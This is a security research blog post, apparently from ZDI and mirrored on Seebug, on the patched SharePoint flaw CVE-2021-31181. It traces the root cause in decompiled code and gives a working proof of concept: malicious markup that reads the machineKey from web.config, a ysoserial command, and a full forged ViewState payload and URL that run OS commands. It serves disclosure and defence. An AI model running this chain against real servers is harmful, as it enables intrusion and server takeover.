Lucene search

K
seebugKnownsecSSV:99265
HistoryJun 03, 2021 - 12:00 a.m.

Microsoft SharePoint远程代码执行漏洞(CVE-2021-31181)

2021-06-0300:00:00
Knownsec
www.seebug.org
81

CVE-2021-31181: MICROSOFT SHAREPOINT WEBPART INTERPRETATION CONFLICT REMOTE CODE EXECUTION VULNERABILITY

June 02, 2021 | The ZDI Research Team

In May of 2021, Microsoft released a patch to correct CVE-2021-31181 – a remote code execution bug in the supported versions of Microsoft SharePoint Server. This bug was reported to the ZDI program by an anonymous researcher and is also known as ZDI-21-573. This blog takes a deeper look at the root cause of this vulnerability.

Before this patch being made available, this vulnerability could be used by an authenticated user to execute arbitrary code on the server in the context of the service account of the SharePoint web application. For a successful attack, the attacker must have *SPBasePermissions.ManageLists* permissions on any SharePoint site. By default, any authenticated user can create their own site where they have the necessary permission.

The Vulnerability

This attack is possible due to insufficient validation of user input in the EditingPageParser.VerifyControlOnSafeList()* method. This method verifies user input against a list of unsafe controls and should raise an exception if any control is not marked as safe by theSafeControl* elements as specified inweb.config.

A good example of an unsafe control that is forbidden by SharePoint is *System.Web.UI.WebControls.XmlDataSource.* This control is dangerous because it would allow an attacker to get information from an arbitrary XML file on the server. As we will see, this could be used not only for information disclosure but even for code execution.

We can see that it is marked as unsafe via a SafeControl* element inweb.config*:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="XmlDataSource" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

Because of this, an attacker should not be able to instantiate this control. However, we will see how we can bypass verification in *EditingPageParser.VerifyControlOnSafeList()*.

// Microsoft.SharePoint.EditingPageParser 
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) 
{ 
    Hashtable hashtable = new Hashtable(); 
    Hashtable hashtable2 = new Hashtable(); 
    List<string> list = new List<string>(); 
    EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager); 
    EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list); 
    if (blockServerSideIncludes && list.Count > 0) 
    { 
        ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); 
        throw new ArgumentException("Unsafe server-side includes", "dscXml"); 
    } 
    foreach (object obj in hashtable2) 
    { 
        Pair pair = (Pair)((DictionaryEntry)obj).Value; 
        string text = (string)pair.First; 
        string text2 = (string)pair.Second; 
        text2 = text2.ToLower(CultureInfo.InvariantCulture); 
        if (hashtable.ContainsKey(text2)) 
        { 
            ArrayList arrayList = (ArrayList)hashtable[text2]; 
            string s = null; 
            foreach (object obj2 in arrayList) 
            { 
                Triplet triplet = (Triplet)obj2; 
                string text3 = (string)triplet.Third; 
                if (!string.IsNullOrEmpty(text3)) 
                { 
/*...*/ 
                else 
                { 
                    string typeFullName = (string)triplet.First + "." + text; 
                    string assemblyQualifiedName = (string)triplet.Second; 
                    Type type = null; 
                    try 
                    { 
                        type = PageParser.GetControlType(assemblyQualifiedName, typeFullName, true); 
                    } 
                    catch (TypeLoadException) 
                    { 
                        continue; 
                    } 
                    if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s)) 
                    { 
                        throw new SafeControls.UnsafeControlException(s); 
                    } 
                    break; 
                } 
            } 
        } 
    } 
}

EditingPageParser.ParseStringInternal()* parses user input (dscXml)* and populateshashtable** with information fromRegisterdirectives andhashtable2* with values from tags that represent server controls. In the next step, it tries to create aTypeobject for each element fromhashtable2* and checks it against an allowed list ofSafeControls. However, it will ignore the tag of the server control if theTypecannot be resolved. Normally, this would not create a hazard. If aTypecannot be resolved at the verification stage, then it should similarly fail to resolve later during the actual processing of markup. However, an inconsistency between the code inEditingPageParser* andTemplateParser* breaks this assumption.

Let’s look closer at how the values in hashtable* are populated, and let’s pay attention to thenamespaceattribute of theRegister* directive:

// Microsoft.SharePoint.EditingPageParser 
private static void ParseStringInternal(string text, System.Collections.Hashtable controls, System.Collections.Hashtable typeNames, System.Collections.Generic.IList<string> includes) 
{ 
    int num = 0; 
    int num2 = text.LastIndexOf('>'); 
    while (true) 
    { 
        System.Text.RegularExpressions.Match match; 
        if ((match = EditingPageParser.textRegex.Match(text, num)).Success) 
        { 
            num = match.Index + match.Length; 
        } 
        if (num == text.Length) 
        { 
            break; 
        } 
        bool flag = false; 
        if ((match = EditingPageParser.directiveRegex.Match(text, num)).Success) 
        { 
            try 
            { 
                EditingPageParser.HandleDirectiveMatch(match, typeNames); 
                goto IL_127; 
            } 
            catch (System.Exception) 
// … 
// Microsoft.SharePoint.EditingPageParser 
private static void HandleDirectiveMatch(Match match, Hashtable typeNames) 
{ 
    CaptureCollection captures = match.Groups["attrname"].Captures; 
    CaptureCollection captures2 = match.Groups["attrval"].Captures; 
    string text = null; 
    string text2 = null; 
    string text3 = null; 
    string text4 = null; 
    string text5 = null; 
    for (int i = 0; i < captures.Count; i++) 
    { 
        string strA = captures[i].ToString(); 
        string text6 = captures2[i].ToString(); 
        if (string.Compare(strA, "tagprefix", StringComparison.OrdinalIgnoreCase) == 0) 
        { 
            text = text6; 
            if (!string.IsNullOrEmpty(text)) 
            { 
                text = text.ToLower(CultureInfo.InvariantCulture); 
            } 
        } 
        else if (string.Compare(strA, "namespace", StringComparison.OrdinalIgnoreCase) == 0) 
        { 
            text2 = text6; 
        } 
        else if (string.Compare(strA, "assembly", StringComparison.OrdinalIgnoreCase) == 0) 
        { 
            text3 = text6; 
        } 
        else if (string.Compare(strA, "tagname", StringComparison.OrdinalIgnoreCase) == 0) 
        { 
            text4 = text6; 
        } 
        else if (string.Compare(strA, "src", StringComparison.OrdinalIgnoreCase) == 0) 
        { 
            text5 = text6; 
        } 
    } 
    if (string.IsNullOrEmpty(text)) 
    { 
        return; 
    } 
    if (!string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text2)) 
    { 
        if (!typeNames.ContainsKey(text)) 
        { 
            typeNames[text] = new ArrayList(); 
        } 
        ArrayList arrayList = (ArrayList)typeNames[text]; 
        arrayList.Add(new Triplet(text2, text3, string.Empty)); 
        return; 
    } 
    if (!string.IsNullOrEmpty(text4) && !string.IsNullOrEmpty(text5)) 
    { 
        if (!typeNames.ContainsKey(text)) 
        { 
            typeNames[text] = new ArrayList(); 
        } 
        ArrayList arrayList2 = (ArrayList)typeNames[text]; 
        arrayList2.Add(new Triplet(text4, string.Empty, text5)); 
    } 
}

The value of the namespace attribute will be stored intriplet.First*. Let’s suppose that we haveNamespace="System.Web.UI.WebControls "(note the trailing space) in ourRegisterdirective, and a tag namedXmlDataSource*. As you can see, there are noTrim()* calls for thenamespaceattribute. Due to the trailing space,VerifyControlOnSafeList* will not be able to resolve the TypeSystem.Web.UI.WebControls .XmlDataSourceand consequently it will not be blocked. Later, though, during actual processing of theRegister** directive, the following code executes:

// System.Web.UI.BaseTemplateParser 
internal override void ProcessDirective(string directiveName, IDictionary directive) 
{ 
    if (StringUtil.EqualsIgnoreCase(directiveName, "register")) 
    { 
        string andRemoveNonEmptyIdentifierAttribute = Util.GetAndRemoveNonEmptyIdentifierAttribute(directive, "tagprefix", true); 
        string andRemoveNonEmptyIdentifierAttribute2 = Util.GetAndRemoveNonEmptyIdentifierAttribute(directive, "tagname", false); 
        VirtualPath andRemoveVirtualPathAttribute = Util.GetAndRemoveVirtualPathAttribute(directive, "src", false); 
        string andRemoveNonEmptyNoSpaceAttribute = Util.GetAndRemoveNonEmptyNoSpaceAttribute(directive, "namespace", false); 
        string andRemoveNonEmptyAttribute = Util.GetAndRemoveNonEmptyAttribute(directive, "assembly", false); 
        RegisterDirectiveEntry registerDirectiveEntry; 
/*...*/ 
            TagNamespaceRegisterEntry tagNamespaceRegisterEntry = new TagNamespaceRegisterEntry(andRemoveNonEmptyIdentifierAttribute, andRemoveNonEmptyNoSpaceAttribute, andRemoveNonEmptyAttribute); 
            registerDirectiveEntry = tagNamespaceRegisterEntry; 
            base.TypeMapper.ProcessTagNamespaceRegistration(tagNamespaceRegisterEntry); 
/*...*/ 
 
 
// System.Web.UI.Util 
internal static string GetAndRemoveNonEmptyIdentifierAttribute(IDictionary directives, string key, bool required) 
{ 
    string andRemoveNonEmptyNoSpaceAttribute = Util.GetAndRemoveNonEmptyNoSpaceAttribute(directives, key, required); 
/*...*/ 
 
// System.Web.UI.Util 
internal static string GetAndRemoveNonEmptyNoSpaceAttribute(IDictionary directives, string key, bool required) 
{ 
    string andRemoveNonEmptyAttribute = Util.GetAndRemoveNonEmptyAttribute(directives, key, required); 
/*...*/ 
 
// System.Web.UI.Util 
internal static string GetAndRemoveNonEmptyAttribute(IDictionary directives, string key, bool required) 
{ 
    string andRemove = Util.GetAndRemove(directives, key); 
/*...*/ 
 
// System.Web.UI.Util 
private static string GetAndRemove(IDictionary dict, string key) 
{ 
    string text = (string)dict[key]; 
    if (text != null) 
    { 
        dict.Remove(key); 
        text = text.Trim(); 
    } 
    return text; 
}

At this stage, the Namespace will be trimmed and aTypeforSystem.Web.UI.WebControls.XmlDataSource will be successfully resolved. This means the unsafe control will be processed by the server.

For our attack, we will use the WebPartPagesWebService.RenderWebPartForEdit* webapi method. It is accessible via the*/_vti_bin/WebPartPages.asmxendpoint. It takes ASPX markup as an input, verifies it usingEditingPageParser.VerifyControlOnSafeList**, and, if there are no unsafe elements, processes the markup in Design mode. The resulting HTML will be returned to the web client.

We will use the WebPart Microsoft.SharePoint.WebPartPage.XsltListFormWebPart with our unsafeXmlDataSource,specifying a simple XSL transformation to copy the result verbatim to our output. In this way we can obtain the contents of an arbitrary XML file from the server. We choose to disclose the contents ofweb.config. This will provide us with the validation key needed to forge aVIEWSTATE parameter, providing a path to remote code execution.

To proceed, we will also need to provide the Title of any existingSPListfrom the current site, as well as the site’swebID. These can be obtained easily. We will see how to do this in the PoC section.

Here is an example of a *RenderWebPartForEdit* request:

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> 
<%@Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"%> 
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="{6e7040c8-0338-4448-914d-a7061e0fc347}"> 
  <DataSources> 
    <att:xmldatasource runat="server" id="XDS1" 
      XPath="/configuration/system.web/machineKey" 
      datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" /> 
  </DataSources> 
  <xsl> 
      <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">          
          <xsl:output method="xml" indent="yes"/> 
          <xsl:template match="/" > 
          <xsl:copy-of select="."/> 
          </xsl:template> 
      </xsl:stylesheet> 
  </xsl> 
</WebPartPages:XsltListFormWebPart>

We can use the machinekey section fromweb.configto create a valid*VIEWSTATE* parameter that causes an arbitrary OS command to be executed when the ViewState is deserialized on the server.

Proof of Concept

For this demonstration, we use Microsoft SharePoint Server 2019 installed with all default options on Windows Server 2019 Datacenter. The server’s computer name is sp2019.contoso.lab and it is a member of the contoso.lab domain. The domain controller is a separate virtual machine. It has been updated to January 2021 Patch (Version 16.0.10370.20001‎) and a couple of users have been added, including “user2” as a regular, unprivileged user.

On the attacker side, we need any supported Web Browser, our PoC application for sending SOAP requests to the server, and the ysoserial.net tool. For this demonstration, we are using Firefox as our browser.

Getting Remote Code Execution

Let’s begin by visiting our SharePoint Server and authenticating as “user2”.

Picture1.png

Let’s create a site so that we will be the owner and have all permissions.

Click on “SharePoint” on the top panel:

Picture2.png

Now click the “+ Create Site” link:

Picture3.png

Choose *Team Site*.

Choose a name for the new site. In this example, it is ts01.

Picture4.png

Click “Finish” and the new site will be created:

Picture5.png

Now let’s get the webId for the site. This can be done with a request to***/_api/web/id*** :

Picture6.png

In this example, it is 6e7040c8-0338-4448-914d-a7061e0fc347.

We also need the title of any existing SPlist in the current site. The “Documents”* SPlist is available on most sites, but we can use any item from the**/_layouts/15/viewlsts.aspx*** page:

Picture7.png

Now we use our PoC to send a request to the server. We need to provide the base URL for our site, valid user credentials, the title of an SPList, and the webId. In our case:

>PoC.exe http://sp2019/sites/ts01/ user2 P@ssw0rd contoso "Documents" "{6e7040c8-0338-4448-914d-a7061e0fc347}"

If this step successful, we will get the machineKey section ofweb.config:

Picture9.png

For our RCE attack, we need the value of validationKey. In this example it is:

validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

We can also see the algorithm: validation=“HMACSHA256”

Using this information, we can proceed to get remote code execution. Before the actual attack, let’s go to the target SharePoint Server and open C:\windows\temp folder:

Picture10.png

Note that there is no PoC_SPRCE01.txt file yet.

Now let’s go back to the attacker machine. We need to collect one more piece of information, which is the value of __VIEWSTATEGENERATOR. We can get this by browsing to the success.aspx page on our site. In this example, the URL is http://sp2019/sites/ts01/_layouts/15/success.aspx:

Picture11.png

Viewing the source code, we can find the value of __VIEWSTATEGENERATOR:

Picture12.png

In this example it is AF878507.

In summary, the values needed to forge a VIEWSTATE are as follows:

__VIEWSTATEGENERATOR=AF878507` `validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79` `validationAlg=HMACSHA256

We provide these values on the command line of ysoserial, as follows:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo RCE > c:/windows/temp/PoC_SPRCE01.txt" --generator="AF878507" --validationkey="FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79" --validationalg="HMACSHA256" --islegacy --minify

Picture13.png

The result is a valid VIEWSTATE.

/wEy3AcAAQAAAP////8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAAC0vYyBlY2hvIFJDRSA+IGM6L3dpbmRvd3MvdGVtcC9Qb0NfU1BSQ0UwMS50eHQGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQABeAEBAQkIAAAADQANAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQASdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAQEBAQEGCwAAAJIBU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZ10sW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyxTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAAhtc2NvcmxpYg0ABg0AAABGU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAAXgHAAAAAAAAAAAAAAEBAQEBAAEIDQANAA0ADQANAAAAAAABCgAAAAkAAAAGFgAAAAdDb21wYXJlDQAGGAAAAA1TeXN0ZW0uU3RyaW5nDQANAAAAAAANAAEQAAAACAAAAAYbAAAAJFN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmddXQkMAAAADQAJDAAAAAkYAAAACRYAAAALhqX97I/Upin/LFY1lHJk6pjbx4nmnEzAF9w7RTqd6co=

We need to URL-encode this ViewState and send it as a __VIEWSTATE parameter to our server. For example, this can be done by composing a URL with a**__VIEWSTATE** query string parameter, as follows:

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy3AcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAAC0vYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9Qb0NfU1BSQ0UwMS50eHQGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQABeAEBAQkIAAAADQANAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQASdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAQEBAQEGCwAAAJIBU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZ10sW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyxTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAAhtc2NvcmxpYg0ABg0AAABGU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAAXgHAAAAAAAAAAAAAAEBAQEBAAEIDQANAA0ADQANAAAAAAABCgAAAAkAAAAGFgAAAAdDb21wYXJlDQAGGAAAAA1TeXN0ZW0uU3RyaW5nDQANAAAAAAANAAEQAAAACAAAAAYbAAAAJFN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmddXQkMAAAADQAJDAAAAAkYAAAACRYAAAALhqX97I%2FUpin%2FLFY1lHJk6pjbx4nmnEzAF9w7RTqd6co%3D

Browsing to this URL, an error page is returned.

Picture14.png

However, when we check the C:\Windows\temp folder on the SharePoint server:

Picture15.png

Our target file was successfully created, demonstrating that we achieved code execution. In the same way, an attacker can execute any OS command in the context of the SharePoint web application.

Conclusion

Microsoft patched this in May and assigned identifier CVE-2021-31181, with a CVSS score of 8.8. SharePoint continues to be an attractive target for researchers and attackers alike, and several SharePoint-related disclosures are currently in our Upcoming queue. Stay tuned to this blog for details about those bugs once they are disclosed.

Until then, follow the team for the latest in exploit techniques and security patches.